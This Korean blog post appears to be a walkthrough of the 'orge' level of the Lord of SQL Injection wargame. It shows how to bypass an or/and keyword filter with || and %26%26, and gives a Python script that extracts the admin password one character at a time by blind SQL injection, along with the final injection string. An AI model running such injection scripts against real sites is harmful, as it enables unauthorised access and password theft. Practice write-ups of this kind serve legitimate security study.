orge에 입장!
이번 orge문제는 orc와 동일하게 password를 한자리씩 알아내야 한다.
다만 or와 and가 필터링되고 있기 때문에 대체 문자를 사용해야 한다.
or는 ||, and는 &&를 사용하면 된다. 이때 url에서는 &기호가 인코딩 되기 때문에 %26으로 표현해야 한다.
orge를 풀기위한 자동화 프로그램은 다음과 같다. (pw의 길이는 8)
import requests
headers = {'Cookie' : 'PHPSESSID=68cmc50ikdcoh6gn828ap1un9l;'}
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"
pw = ''
length = 8
for i in range(1, length+1):
for j in string:
data = "?pw=' || pw like \'" + pw + j + "%"
r = requests.get(url + data, headers = headers)
if r.text.find('Hello admin') != -1:
pw = pw + j
print ("[*] Finding... : ", pw)
break
print ("[+] Found Password : ", pw)
위 코드를 실행한 결과는 다음과 같다.
해당 pw를 url에 입력하기 전에 이 pw는 id가 guest일 때 알아낸 것이다. 따라서 다음과 같이 작성하면 orge를 해결할 수 없다.
pw=' || id='admin' %26%26 pw='7b751aec'%23
문제의 코드를 보면 두 번째 query에서 id가 admin일 때 pw를 그대로 전달하고 있다. 따라서 id를 지정하지 않고 pw만 그대로 입력하면 된다.
orge를 해결했다.
'Study > Web Hacking' 카테고리의 다른 글
[XSS Challenge] Stage #14 (0) | 2021.05.30 |
---|---|
[XSS Challenge] Stage #13 (0) | 2021.05.30 |
[natas] Level 14 -> Level 15 (0) | 2021.05.30 |
[natas] Level 13 -> Level 14 (0) | 2021.05.30 |
[XSS Challenge] Stage #12 (0) | 2021.05.23 |